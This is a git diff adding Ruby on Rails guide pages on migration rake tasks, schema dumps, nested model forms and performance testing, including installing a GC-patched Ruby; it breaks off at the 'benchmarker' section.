+Rails provides a set of rake tasks to work with migrations which boil down to
+running certain sets of migrations.
+
+The very first migration related rake task you will use will probably be
++rake db:migrate+. In its most basic form it just runs the +up+ or +change+
+method for all the migrations that have not yet been run. If there are
+no such migrations, it exits. It will run these migrations in order based
+on the date of the migration.
+
+Note that running the +db:migrate+ also invokes the +db:schema:dump+ task, which
+will update your db/schema.rb file to match the structure of your database.
+
+If you specify a target version, Active Record will run the required migrations
+(up, down or change) until it has reached the specified version. The version
+is the numerical prefix on the migration's filename. For example, to migrate
+to version 20080906120000 run
+
+<shell>
+$ rake db:migrate VERSION=20080906120000
+</shell>
+
+If version 20080906120000 is greater than the current version (i.e., it is
+migrating upwards), this will run the +up+ method on all migrations up to and
+including 20080906120000, and will not execute any later migrations. If
+migrating downwards, this will run the +down+ method on all the migrations
+down to, but not including, 20080906120000.
+
+h4. Rolling Back
+
+A common task is to rollback the last migration, for example if you made a
+mistake in it and wish to correct it. Rather than tracking down the version
+number associated with the previous migration you can run
+
+<shell>
+$ rake db:rollback
+</shell>
+
+This will run the +down+ method from the latest migration. If you need to undo
+several migrations you can provide a +STEP+ parameter:
+
+<shell>
+$ rake db:rollback STEP=3
+</shell>
+
+will run the +down+ method from the last 3 migrations.
+
+The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating
+back up again. As with the +db:rollback+ task, you can use the +STEP+ parameter
+if you need to go more than one version back, for example
+
+<shell>
+$ rake db:migrate:redo STEP=3
+</shell>
+
+Neither of these Rake tasks do anything you could not do with +db:migrate+. They
+are simply more convenient, since you do not need to explicitly specify the
+version to migrate to.
+
+h4. Resetting the database
+
+The +rake db:reset+ task will drop the database, recreate it and load the
+current schema into it.
+
+NOTE: This is not the same as running all the migrations - see the section on
+"schema.rb":#schema-dumping-and-you.
+
+h4. Running specific migrations
+
+If you need to run a specific migration up or down, the +db:migrate:up+ and
++db:migrate:down+ tasks will do that. Just specify the appropriate version and
+the corresponding migration will have its +up+ or +down+ method invoked, for
+example,
+
+<shell>
+$ rake db:migrate:up VERSION=20080906120000
+</shell>
+
+will run the +up+ method from the 20080906120000 migration. This task will first
+check whether the migration is already performed and will do nothing if Active Record believes
+that it has already been run.
+
+h4. Changing the output of running migrations
+
+By default migrations tell you exactly what they're doing and how long it took.
+A migration creating a table and adding an index might produce output like this
+
+<shell>
+==  CreateProducts: migrating =================================================
+-- create_table(:products)
+   -> 0.0028s
+==  CreateProducts: migrated (0.0028s) ========================================
+</shell>
+
+Several methods are provided in migrations that allow you to control all this:
+
+|_.Method             |_.Purpose|
+|suppress_messages    |Takes a block as an argument and suppresses any output
+                       generated by the block.|
+|say                  |Takes a message argument and outputs it as is. A second
+                       boolean argument can be passed to specify whether to
+                       indent or not.|
+|say_with_time        |Outputs text along with how long it took to run its
+                       block. If the block returns an integer it assumes it
+                       is the number of rows affected.|
+
+For example, this migration
+
+<ruby>
+class CreateProducts < ActiveRecord::Migration
+  def change
+    suppress_messages do
+      create_table :products do |t|
+        t.string :name
+        t.text :description
+        t.timestamps
+      end
+    end
+    say "Created a table"
+    suppress_messages {add_index :products, :name}
+    say "and an index!", true
+    say_with_time 'Waiting for a while' do
+      sleep 10
+      250
+    end
+  end
+end
+</ruby>
+
+generates the following output
+
+<shell>
+==  CreateProducts: migrating =================================================
+-- Created a table
+   -> and an index!
+-- Waiting for a while
+   -> 10.0013s
+   -> 250 rows
+==  CreateProducts: migrated (10.0054s) =======================================
+</shell>
+
+If you want Active Record to not output anything, then running +rake db:migrate
+VERBOSE=false+ will suppress all output.
+
+h3. Using Models in Your Migrations
+
+When creating or updating data in a migration it is often tempting to use one of
+your models. After all, they exist to provide easy access to the underlying
+data. This can be done, but some caution should be observed.
+
+For example, problems occur when the model uses database columns which are (1)
+not currently in the database and (2) will be created by this or a subsequent
+migration.
+
+Consider this example, where Alice and Bob are working on the same code base
+which contains a +Product+ model:
+
+Bob goes on vacation.
+
+Alice creates a migration for the +products+ table which adds a new column and
+initializes it.  She also adds a validation to the +Product+ model for the new
+column.
+
+<ruby>
+# db/migrate/20100513121110_add_flag_to_product.rb
+
+class AddFlagToProduct < ActiveRecord::Migration
+  def change
+    add_column :products, :flag, :boolean
+    Product.update_all :flag => false
+  end
+end
+</ruby>
+
+<ruby>
+# app/model/product.rb
+
+class Product < ActiveRecord::Base
+  validates :flag, :presence => true
+end
+</ruby>
+
+Alice adds a second migration which adds and initializes another column to the
++products+ table and also adds a validation to the +Product+ model for the new
+column.
+
+<ruby>
+# db/migrate/20100515121110_add_fuzz_to_product.rb
+
+class AddFuzzToProduct < ActiveRecord::Migration
+  def change
+    add_column :products, :fuzz, :string
+    Product.update_all :fuzz => 'fuzzy'
+  end
+end
+</ruby>
+
+<ruby>
+# app/model/product.rb
+
+class Product < ActiveRecord::Base
+  validates :flag, :fuzz, :presence => true
+end
+</ruby>
+
+Both migrations work for Alice.
+
+Bob comes back from vacation and:
+
+# Updates the source - which contains both migrations and the latest version of
+the Product model.
+# Runs outstanding migrations with +rake db:migrate+, which
+includes the one that updates the +Product+ model.
+
+The migration crashes because when the model attempts to save, it tries to
+validate the second added column, which is not in the database when the _first_
+migration runs:
+
+<plain>
+rake aborted!
+An error has occurred, this and all later migrations canceled:
+
+undefined method `fuzz' for #<Product:0x000001049b14a0>
+</plain>
+
+A fix for this is to create a local model within the migration. This keeps rails
+from running the validations, so that the migrations run to completion.
+
+When using a faux model, it's a good idea to call
++Product.reset_column_information+ to refresh the +ActiveRecord+ cache for the
++Product+ model prior to updating data in the database.
+
+If Alice had done this instead, there would have been no problem:
+
+<ruby>
+# db/migrate/20100513121110_add_flag_to_product.rb
+
+class AddFlagToProduct < ActiveRecord::Migration
+  class Product < ActiveRecord::Base
+  end
+
+  def change
+    add_column :products, :flag, :boolean
+    Product.reset_column_information
+    Product.update_all :flag => false
+  end
+end
+</ruby>
+
+<ruby>
+# db/migrate/20100515121110_add_fuzz_to_product.rb
+
+class AddFuzzToProduct < ActiveRecord::Migration
+  class Product < ActiveRecord::Base
+  end
+
+  def change
+    add_column :products, :fuzz, :string
+    Product.reset_column_information
+    Product.update_all :fuzz => 'fuzzy'
+  end
+end
+</ruby>
+
+h3. Schema Dumping and You
+
+h4. What are Schema Files for?
+
+Migrations, mighty as they may be, are not the authoritative source for your
+database schema. That role falls to either +db/schema.rb+ or an SQL file which
+Active Record generates by examining the database. They are not designed to be
+edited, they just represent the current state of the database.
+
+There is no need (and it is error prone) to deploy a new instance of an app by
+replaying the entire migration history. It is much simpler and faster to just
+load into the database a description of the current schema.
+
+For example, this is how the test database is created: the current development
+database is dumped (either to +db/schema.rb+ or +db/structure.sql+) and then
+loaded into the test database.
+
+Schema files are also useful if you want a quick look at what attributes an
+Active Record object has. This information is not in the model's code and is
+frequently spread across several migrations, but the information is nicely
+summed up in the schema file. The
+"annotate_models":https://github.com/ctran/annotate_models gem automatically
+adds and updates comments at the top of each model summarizing the schema if
+you desire that functionality.
+
+h4. Types of Schema Dumps
+
+There are two ways to dump the schema. This is set in +config/application.rb+ by
+the +config.active_record.schema_format+ setting, which may be either +:sql+ or
++:ruby+.
+
+If +:ruby+ is selected then the schema is stored in +db/schema.rb+. If you look
+at this file you'll find that it looks an awful lot like one very big migration:
+
+<ruby>
+ActiveRecord::Schema.define(:version => 20080906171750) do
+  create_table "authors", :force => true do |t|
+    t.string   "name"
+    t.datetime "created_at"
+    t.datetime "updated_at"
+  end
+
+  create_table "products", :force => true do |t|
+    t.string   "name"
+    t.text "description"
+    t.datetime "created_at"
+    t.datetime "updated_at"
+    t.string "part_number"
+  end
+end
+</ruby>
+
+In many ways this is exactly what it is. This file is created by inspecting the
+database and expressing its structure using +create_table+, +add_index+, and so
+on. Because this is database-independent, it could be loaded into any database
+that Active Record supports. This could be very useful if you were to distribute
+an application that is able to run against multiple databases.
+
+There is however a trade-off: +db/schema.rb+ cannot express database specific
+items such as foreign key constraints, triggers, or stored procedures. While in
+a migration you can execute custom SQL statements, the schema dumper cannot
+reconstitute those statements from the database. If you are using features like
+this, then you should set the schema format to +:sql+.
+
+Instead of using Active Record's schema dumper, the database's structure will be
+dumped using a tool specific to the database (via the +db:structure:dump+ Rake task)
+into +db/structure.sql+. For example, for the PostgreSQL RDBMS, the
++pg_dump+ utility is used. For MySQL, this file will contain the output of +SHOW
+CREATE TABLE+ for the various tables. Loading these schemas is simply a question
+of executing the SQL statements they contain. By definition, this will create a
+perfect copy of the database's structure. Using the +:sql+ schema format will,
+however, prevent loading the schema into a RDBMS other than the one used to
+create it.
+
+h4. Schema Dumps and Source Control
+
+Because schema dumps are the authoritative source for your database schema, it
+is strongly recommended that you check them into source control.
+
+h3. Active Record and Referential Integrity
+
+The Active Record way claims that intelligence belongs in your models, not in
+the database. As such, features such as triggers or foreign key constraints,
+which push some of that intelligence back into the database, are not heavily
+used.
+
+Validations such as +validates :foreign_key, :uniqueness => true+ are one way in
+which models can enforce data integrity. The +:dependent+ option on associations
+allows models to automatically destroy child objects when the parent is
+destroyed. Like anything which operates at the application level, these cannot
+guarantee referential integrity and so some people augment them with foreign key
+constraints in the database.
+
+Although Active Record does not provide any tools for working directly with such
+features, the +execute+ method can be used to execute arbitrary SQL. You could
+also use some plugin like "foreigner":https://github.com/matthuhiggins/foreigner
+which add foreign key support to Active Record (including support for dumping
+foreign keys in +db/schema.rb+).
diff --git a/guides/source/nested_model_forms.textile b/guides/source/nested_model_forms.textile
new file mode 100644
index 0000000000..82c9ab9d36
--- /dev/null
+++ b/guides/source/nested_model_forms.textile
@@ -0,0 +1,222 @@
+h2. Rails nested model forms
+
+Creating a form for a model _and_ its associations can become quite tedious. Therefore Rails provides helpers to assist in dealing with the complexities of generating these forms _and_ the required CRUD operations to create, update, and destroy associations.
+
+In this guide you will:
+
+* do stuff
+
+endprologue.
+
+NOTE: This guide assumes the user knows how to use the "Rails form helpers":form_helpers.html in general. Also, it’s *not* an API reference. For a complete reference please visit "the Rails API documentation":http://api.rubyonrails.org/.
+
+
+h3. Model setup
+
+To be able to use the nested model functionality in your forms, the model will need to support some basic operations.
+
+First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The +fields_for+ form helper will look for this method to decide whether or not a nested model form should be build.
+
+If the associated object is an array a form builder will be yielded for each object, else only a single form builder will be yielded.
+
+Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the +:address+ attribute, the +fields_for+ form helper will look for a method on the Person instance named +address_attributes=+.
+
+h4. ActiveRecord::Base model
+
+For an ActiveRecord::Base model and association this writer method is commonly defined with the +accepts_nested_attributes_for+ class method:
+
+h5. has_one
+
+<ruby>
+class Person < ActiveRecord::Base
+  has_one :address
+  accepts_nested_attributes_for :address
+end
+</ruby>
+
+h5. belongs_to
+
+<ruby>
+class Person < ActiveRecord::Base
+  belongs_to :firm
+  accepts_nested_attributes_for :firm
+end
+</ruby>
+
+h5. has_many / has_and_belongs_to_many
+
+<ruby>
+class Person < ActiveRecord::Base
+  has_many :projects
+  accepts_nested_attributes_for :projects
+end
+</ruby>
+
+h4. Custom model
+
+As you might have inflected from this explanation, you _don’t_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behaviour:
+
+h5. Single associated object
+
+<ruby>
+class Person
+  def address
+    Address.new
+  end
+
+  def address_attributes=(attributes)
+    # ...
+  end
+end
+</ruby>
+
+h5. Association collection
+
+<ruby>
+class Person
+  def projects
+    [Project.new, Project.new]
+  end
+
+  def projects_attributes=(attributes)
+    # ...
+  end
+end
+</ruby>
+
+NOTE: See (TODO) in the advanced section for more information on how to deal with the CRUD operations in your custom model.
+
+h3. Views
+
+h4. Controller code
+
+A nested model form will _only_ be built if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first.
+
+Consider the following typical RESTful controller which will prepare a new Person instance and its +address+ and +projects+ associations before rendering the +new+ template:
+
+<ruby>
+class PeopleController < ActionController:Base
+  def new
+    @person = Person.new
+    @person.built_address
+    2.times { @person.projects.build }
+  end
+
+  def create
+    @person = Person.new(params[:person])
+    if @person.save
+      # ...
+    end
+  end
+end
+</ruby>
+
+NOTE: Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an +after_initialize+ callback which is a good way to refactor this.
+
+h4. Form code
+
+Now that you have a model instance, with the appropriate methods and associated object(s), you can start building the nested model form.
+
+h5. Standard form
+
+Start out with a regular RESTful form:
+
+<erb>
+<%= form_for @person do |f| %>
+  <%= f.text_field :name %>
+<% end %>
+</erb>
+
+This will generate the following html:
+
+<html>
+<form action="/people" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+</form>
+</html>
+
+h5. Nested form for a single associated object
+
+Now add a nested form for the +address+ association:
+
+<erb>
+<%= form_for @person do |f| %>
+  <%= f.text_field :name %>
+
+  <%= f.fields_for :address do |af| %>
+    <%= af.text_field :street %>
+  <% end %>
+<% end %>
+</erb>
+
+This generates:
+
+<html>
+<form action="/people" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+
+  <input id="person_address_attributes_street" name="person[address_attributes][street]" type="text" />
+</form>
+</html>
+
+Notice that +fields_for+ recognized the +address+ as an association for which a nested model form should be built by the way it has namespaced the +name+ attribute.
+
+When this form is posted the Rails parameter parser will construct a hash like the following:
+
+<ruby>
+{
+  "person" => {
+    "name" => "Eloy Duran",
+    "address_attributes" => {
+      "street" => "Nieuwe Prinsengracht"
+    }
+  }
+}
+</ruby>
+
+That’s it. The controller will simply pass this hash on to the model from the +create+ action. The model will then handle building the +address+ association for you and automatically save it when the parent (+person+) is saved.
+
+h5. Nested form for a collection of associated objects
+
+The form code for an association collection is pretty similar to that of a single associated object:
+
+<erb>
+<%= form_for @person do |f| %>
+  <%= f.text_field :name %>
+
+  <%= f.fields_for :projects do |pf| %>
+    <%= pf.text_field :name %>
+  <% end %>
+<% end %>
+</erb>
+
+Which generates:
+
+<html>
+<form action="/people" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+
+  <input id="person_projects_attributes_0_name" name="person[projects_attributes][0][name]" type="text" />
+  <input id="person_projects_attributes_1_name" name="person[projects_attributes][1][name]" type="text" />
+</form>
+</html>
+
+As you can see it has generated 2 +project name+ inputs, one for each new +project+ that was built in the controller's +new+ action. Only this time the +name+ attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as:
+
+<ruby>
+{
+  "person" => {
+    "name" => "Eloy Duran",
+    "projects_attributes" => {
+      "0" => { "name" => "Project 1" },
+      "1" => { "name" => "Project 2" }
+    }
+  }
+}
+</ruby>
+
+You can basically see the +projects_attributes+ hash as an array of attribute hashes, one for each model instance.
+
+NOTE: The reason that +fields_for+ constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep.
+
+TIP: You _can_ however pass an array to the writer method generated by +accepts_nested_attributes_for+ if you're using plain Ruby or some other API access. See (TODO) for more info and example.
diff --git a/guides/source/performance_testing.textile b/guides/source/performance_testing.textile
new file mode 100644
index 0000000000..6c5676c346
--- /dev/null
+++ b/guides/source/performance_testing.textile
@@ -0,0 +1,672 @@
+h2. Performance Testing Rails Applications
+
+This guide covers the various ways of performance testing a Ruby on Rails
+application. By referring to this guide, you will be able to:
+
+* Understand the various types of benchmarking and profiling metrics.
+* Generate performance and benchmarking tests.
+* Install and use a GC-patched Ruby binary to measure memory usage and object
+  allocation.
+* Understand the benchmarking information provided by Rails inside the log files.
+* Learn about various tools facilitating benchmarking and profiling.
+
+Performance testing is an integral part of the development cycle. It is very
+important that you don't make your end users wait for too long before the page
+is completely loaded. Ensuring a pleasant browsing experience for end users and
+cutting the cost of unnecessary hardware is important for any non-trivial web
+application.
+
+endprologue.
+
+h3. Performance Test Cases
+
+Rails performance tests are a special type of integration tests, designed for
+benchmarking and profiling the test code. With performance tests, you can
+determine where your application's memory or speed problems are coming from,
+and get a more in-depth picture of those problems.
+
+In a freshly generated Rails application, +test/performance/browsing_test.rb+
+contains an example of a performance test:
+
+<ruby>
+require 'test_helper'
+require 'rails/performance_test_help'
+
+class BrowsingTest < ActionDispatch::PerformanceTest
+  # Refer to the documentation for all available options
+  # self.profile_options = { runs: 5, metrics: [:wall_time, :memory],
+  #                          output: 'tmp/performance', formats: [:flat] }
+
+  test "homepage" do
+    get '/'
+  end
+end
+</ruby>
+
+This example is a simple performance test case for profiling a GET request to
+the application's homepage.
+
+h4. Generating Performance Tests
+
+Rails provides a generator called +performance_test+ for creating new
+performance tests:
+
+<shell>
+$ rails generate performance_test homepage
+</shell>
+
+This generates +homepage_test.rb+ in the +test/performance+ directory:
+
+<ruby>
+require 'test_helper'
+require 'rails/performance_test_help'
+
+class HomepageTest < ActionDispatch::PerformanceTest
+  # Refer to the documentation for all available options
+  # self.profile_options = { :runs => 5, :metrics => [:wall_time, :memory],
+  #                          :output => 'tmp/performance', :formats => [:flat] }
+
+  test "homepage" do
+    get '/'
+  end
+end
+</ruby>
+
+h4. Examples
+
+Let's assume your application has the following controller and model:
+
+<ruby>
+# routes.rb
+root to: 'home#dashboard'
+resources :posts
+
+# home_controller.rb
+class HomeController < ApplicationController
+  def dashboard
+    @users = User.last_ten.includes(:avatars)
+    @posts = Post.all_today
+  end
+end
+
+# posts_controller.rb
+class PostsController < ApplicationController
+  def create
+    @post = Post.create(params[:post])
+    redirect_to(@post)
+  end
+end
+
+# post.rb
+class Post < ActiveRecord::Base
+  before_save :recalculate_costly_stats
+
+  def slow_method
+    # I fire gallzilion queries sleeping all around
+  end
+
+  private
+
+  def recalculate_costly_stats
+    # CPU heavy calculations
+  end
+end
+</ruby>
+
+h5. Controller Example
+
+Because performance tests are a special kind of integration test, you can use
+the +get+ and +post+ methods in them.
+
+Here's the performance test for +HomeController#dashboard+ and
++PostsController#create+:
+
+<ruby>
+require 'test_helper'
+require 'rails/performance_test_help'
+
+class PostPerformanceTest < ActionDispatch::PerformanceTest
+  def setup
+    # Application requires logged-in user
+    login_as(:lifo)
+  end
+
+  test "homepage" do
+    get '/dashboard'
+  end
+
+  test "creating new post" do
+    post '/posts', post: { body: 'lifo is fooling you' }
+  end
+end
+</ruby>
+
+You can find more details about the +get+ and +post+ methods in the
+"Testing Rails Applications":testing.html guide.
+
+h5. Model Example
+
+Even though the performance tests are integration tests and hence closer to
+the request/response cycle by nature, you can still performance test pure model
+code.
+
+Performance test for +Post+ model:
+
+<ruby>
+require 'test_helper'
+require 'rails/performance_test_help'
+
+class PostModelTest < ActionDispatch::PerformanceTest
+  test "creation" do
+    Post.create body: 'still fooling you', cost: '100'
+  end
+
+  test "slow method" do
+    # Using posts(:awesome) fixture
+    posts(:awesome).slow_method
+  end
+end
+</ruby>
+
+h4. Modes
+
+Performance tests can be run in two modes: Benchmarking and Profiling.
+
+h5. Benchmarking
+
+Benchmarking makes it easy to quickly gather a few metrics about each test run.
+By default, each test case is run *4 times* in benchmarking mode.
+
+To run performance tests in benchmarking mode:
+
+<shell>
+$ rake test:benchmark
+</shell>
+
+h5. Profiling
+
+Profiling allows you to make an in-depth analysis of each of your tests by using
+an external profiler. Depending on your Ruby interpreter, this profiler can be
+native (Rubinius, JRuby) or not (MRI, which uses RubyProf). By default, each
+test case is run *once* in profiling mode.
+
+To run performance tests in profiling mode:
+
+<shell>
+$ rake test:profile
+</shell>
+
+h4. Metrics
+
+Benchmarking and profiling run performance tests and give you multiple metrics.
+The availability of each metric is determined by the interpreter being used—none
+of them support all metrics—and by the mode in use. A brief description of each
+metric and their availability across interpreters/modes is given below.
+
+h5. Wall Time
+
+Wall time measures the real world time elapsed during the test run. It is
+affected by any other processes concurrently running on the system.
+
+h5. Process Time
+
+Process time measures the time taken by the process. It is unaffected by any
+other processes running concurrently on the same system. Hence, process time
+is likely to be constant for any given performance test, irrespective of the
+machine load.
+
+h5. CPU Time
+
+Similar to process time, but leverages the more accurate CPU clock counter
+available on the Pentium and PowerPC platforms.
+
+h5. User Time
+
+User time measures the amount of time the CPU spent in user-mode, i.e. within
+the process. This is not affected by other processes and by the time it possibly
+spends blocked.
+
+h5. Memory
+
+Memory measures the amount of memory used for the performance test case.
+
+h5. Objects
+
+Objects measures the number of objects allocated for the performance test case.
+
+h5. GC Runs
+
+GC Runs measures the number of times GC was invoked for the performance test case.
+
+h5. GC Time
+
+GC Time measures the amount of time spent in GC for the performance test case.
+
+h5. Metric Availability
+
+h6(#benchmarking_1). Benchmarking
+
+|_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time|
+|_.MRI        | yes       | yes          | yes      | no        | yes    | yes     | yes     | yes     |
+|_.REE        | yes       | yes          | yes      | no        | yes    | yes     | yes     | yes     |
+|_.Rubinius   | yes       | no           | no       | no        | yes    | yes     | yes     | yes     |
+|_.JRuby      | yes       | no           | no       | yes       | yes    | yes     | yes     | yes     |
+
+h6(#profiling_1). Profiling
+
+|_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time|
+|_.MRI        | yes       | yes          | no       | no        | yes    | yes     | yes     | yes     |
+|_.REE        | yes       | yes          | no       | no        | yes    | yes     | yes     | yes     |
+|_.Rubinius   | yes       | no           | no       | no        | no     | no      | no      | no      |
+|_.JRuby      | yes       | no           | no       | no        | no     | no      | no      | no      |
+
+NOTE: To profile under JRuby you'll need to run +export JRUBY_OPTS="-Xlaunch.inproc=false --profile.api"+
+*before* the performance tests.
+
+h4. Understanding the Output
+
+Performance tests generate different outputs inside +tmp/performance+ directory
+depending on their mode and metric.
+
+h5(#output-benchmarking). Benchmarking
+
+In benchmarking mode, performance tests generate two types of outputs.
+
+h6(#output-command-line). Command Line
+
+This is the primary form of output in benchmarking mode. Example:
+
+<shell>
+BrowsingTest#test_homepage (31 ms warmup)
+           wall_time: 6 ms
+              memory: 437.27 KB
+             objects: 5,514
+             gc_runs: 0
+             gc_time: 19 ms
+</shell>
+
+h6. CSV Files
+
+Performance test results are also appended to +.csv+ files inside +tmp/performance+.
+For example, running the default +BrowsingTest#test_homepage+ will generate
+following five files:
+
+* BrowsingTest#test_homepage_gc_runs.csv
+* BrowsingTest#test_homepage_gc_time.csv
+* BrowsingTest#test_homepage_memory.csv
+* BrowsingTest#test_homepage_objects.csv
+* BrowsingTest#test_homepage_wall_time.csv
+
+As the results are appended to these files each time the performance tests are
+run in benchmarking mode, you can collect data over a period of time. This can
+be very helpful in analyzing the effects of code changes.
+
+Sample output of +BrowsingTest#test_homepage_wall_time.csv+:
+
+<shell>
+measurement,created_at,app,rails,ruby,platform
+0.00738224999999992,2009-01-08T03:40:29Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
+0.00755874999999984,2009-01-08T03:46:18Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
+0.00762099999999993,2009-01-08T03:49:25Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
+0.00603075000000008,2009-01-08T04:03:29Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
+0.00619899999999995,2009-01-08T04:03:53Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
+0.00755449999999991,2009-01-08T04:04:55Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
+0.00595999999999997,2009-01-08T04:05:06Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
+0.00740450000000004,2009-01-09T03:54:47Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
+0.00603150000000008,2009-01-09T03:54:57Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
+0.00771250000000012,2009-01-09T15:46:03Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
+</shell>
+
+h5(#output-profiling). Profiling
+
+In profiling mode, performance tests can generate multiple types of outputs.
+The command line output is always presented but support for the others is
+dependent on the interpreter in use. A brief description of each type and
+their availability across interpreters is given below.
+
+h6. Command Line
+
+This is a very basic form of output in profiling mode:
+
+<shell>
+BrowsingTest#test_homepage (58 ms warmup)
+        process_time: 63 ms
+              memory: 832.13 KB
+             objects: 7,882
+</shell>
+
+h6. Flat
+
+Flat output shows the metric—time, memory, etc—measure in each method.
+"Check Ruby-Prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/flat_txt.html.
+
+h6. Graph
+
+Graph output shows the metric measure in each method, which methods call it and
+which methods it calls. "Check Ruby-Prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/graph_txt.html.
+
+h6. Tree
+
+Tree output is profiling information in calltree format for use by "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html
+and similar tools.
+
+h6. Output Availability
+
+|_.         |_.Flat|_.Graph|_.Tree|
+|_.MRI      | yes  | yes   | yes  |
+|_.REE      | yes  | yes   | yes  |
+|_.Rubinius | yes  | yes   | no   |
+|_.JRuby    | yes  | yes   | no   |
+
+h4. Tuning Test Runs
+
+Test runs can be tuned by setting the +profile_options+ class variable on your
+test class.
+
+<ruby>
+require 'test_helper'
+require 'rails/performance_test_help'
+
+class BrowsingTest < ActionDispatch::PerformanceTest
+  self.profile_options = { runs: 5, metrics: [:wall_time, :memory] }
+
+  test "homepage"
+    get '/'
+  end
+end
+</ruby>
+
+In this example, the test would run 5 times and measure wall time and memory.
+There are a few configurable options:
+
+|_.Option   |_.Description|_.Default|_.Mode|
+|+:runs+    |Number of runs.|Benchmarking: 4, Profiling: 1|Both|
+|+:output+  |Directory to use when writing the results.|+tmp/performance+|Both|
+|+:metrics+ |Metrics to use.|See below.|Both|
+|+:formats+ |Formats to output to.|See below.|Profiling|
+
+Metrics and formats have different defaults depending on the interpreter in use.
+
+|_.Interpreter|_.Mode|_.Default metrics|_.Default formats|
+|/2.MRI/REE |Benchmarking|+[:wall_time, :memory, :objects, :gc_runs, :gc_time]+|N/A|
+|Profiling   |+[:process_time, :memory, :objects]+|+[:flat, :graph_html, :call_tree, :call_stack]+|
+|/2.Rubinius|Benchmarking|+[:wall_time, :memory, :objects, :gc_runs, :gc_time]+|N/A|
+|Profiling   |+[:wall_time]+|+[:flat, :graph]+|
+|/2.JRuby   |Benchmarking|+[:wall_time, :user_time, :memory, :gc_runs, :gc_time]+|N/A|
+|Profiling   |+[:wall_time]+|+[:flat, :graph]+|
+
+As you've probably noticed by now, metrics and formats are specified using a
+symbol array with each name "underscored.":http://api.rubyonrails.org/classes/String.html#method-i-underscore
+
+h4. Performance Test Environment
+
+Performance tests are run in the +test+ environment. But running performance
+tests will set the following configuration parameters:
+
+<shell>
+ActionController::Base.perform_caching = true
+ActiveSupport::Dependencies.mechanism = :require
+Rails.logger.level = ActiveSupport::BufferedLogger::INFO
+</shell>
+
+As +ActionController::Base.perform_caching+ is set to +true+, performance tests
+will behave much as they do in the +production+ environment.
+
+h4. Installing GC-Patched MRI
+
+To get the best from Rails' performance tests under MRI, you'll need to build
+a special Ruby binary with some super powers.
+
+The recommended patches for each MRI version are:
+
+|_.Version|_.Patch|
+|1.8.6|ruby186gc|
+|1.8.7|ruby187gc|
+|1.9.2 and above|gcdata|
+
+All of these can be found on "RVM's _patches_ directory":https://github.com/wayneeseguin/rvm/tree/master/patches/ruby
+under each specific interpreter version.
+
+Concerning the installation itself, you can either do this easily by using
+"RVM":http://rvm.beginrescueend.com or you can build everything from source,
+which is a little bit harder.
+
+h5. Install Using RVM
+
+The process of installing a patched Ruby interpreter is very easy if you let RVM
+do the hard work. All of the following RVM commands will provide you with a
+patched Ruby interpreter:
+
+<shell>
+$ rvm install 1.9.2-p180 --patch gcdata
+$ rvm install 1.8.7 --patch ruby187gc
+$ rvm install 1.9.2-p180 --patch ~/Downloads/downloaded_gcdata_patch.patch
+</shell>
+
+You can even keep your regular interpreter by assigning a name to the patched
+one:
+
+<shell>
+$ rvm install 1.9.2-p180 --patch gcdata --name gcdata
+$ rvm use 1.9.2-p180 # your regular ruby
+$ rvm use 1.9.2-p180-gcdata # your patched ruby
+</shell>
+
+And it's done! You have installed a patched Ruby interpreter.
+
+h5. Install From Source
+
+This process is a bit more complicated, but straightforward nonetheless. If
+you've never compiled a Ruby binary before, follow these steps to build a
+Ruby binary inside your home directory.
+
+h6. Download and Extract
+
+<shell>
+$ mkdir rubygc
+$ wget <the version you want from ftp://ftp.ruby-lang.org/pub/ruby>
+$ tar -xzvf <ruby-version.tar.gz>
+$ cd <ruby-version>
+</shell>
+
+h6. Apply the Patch
+
+<shell>
+$ curl http://github.com/wayneeseguin/rvm/raw/master/patches/ruby/1.9.2/p180/gcdata.patch | patch -p0 # if you're on 1.9.2!
+$ curl http://github.com/wayneeseguin/rvm/raw/master/patches/ruby/1.8.7/ruby187gc.patch | patch -p0 # if you're on 1.8.7!
+</shell>
+
+h6. Configure and Install
+
+The following will install Ruby in your home directory's +/rubygc+ directory.
+Make sure to replace +&lt;homedir&gt;+ with a full patch to your actual home
+directory.
+
+<shell>
+$ ./configure --prefix=/<homedir>/rubygc
+$ make && make install
+</shell>
+
+h6. Prepare Aliases
+
+For convenience, add the following lines in your +~/.profile+:
+
+<shell>
+alias gcruby='~/rubygc/bin/ruby'
+alias gcrake='~/rubygc/bin/rake'
+alias gcgem='~/rubygc/bin/gem'
+alias gcirb='~/rubygc/bin/irb'
+alias gcrails='~/rubygc/bin/rails'
+</shell>
+
+Don't forget to use your aliases from now on.
+
+h4. Using Ruby-Prof on MRI and REE
+
+Add Ruby-Prof to your applications' Gemfile if you want to benchmark/profile
+under MRI or REE:
+
+<ruby>
+gem 'ruby-prof', git: 'git://github.com/wycats/ruby-prof.git'
+</ruby>
+
+Now run +bundle install+ and you're ready to go.
+
+h3. Command Line Tools
+
+Writing performance test cases could be an overkill when you are looking for one
+time tests. Rails ships with two command line tools that enable quick and dirty
+performance testing:
+
+h4. +benchmarker+
+
+Usage:
+
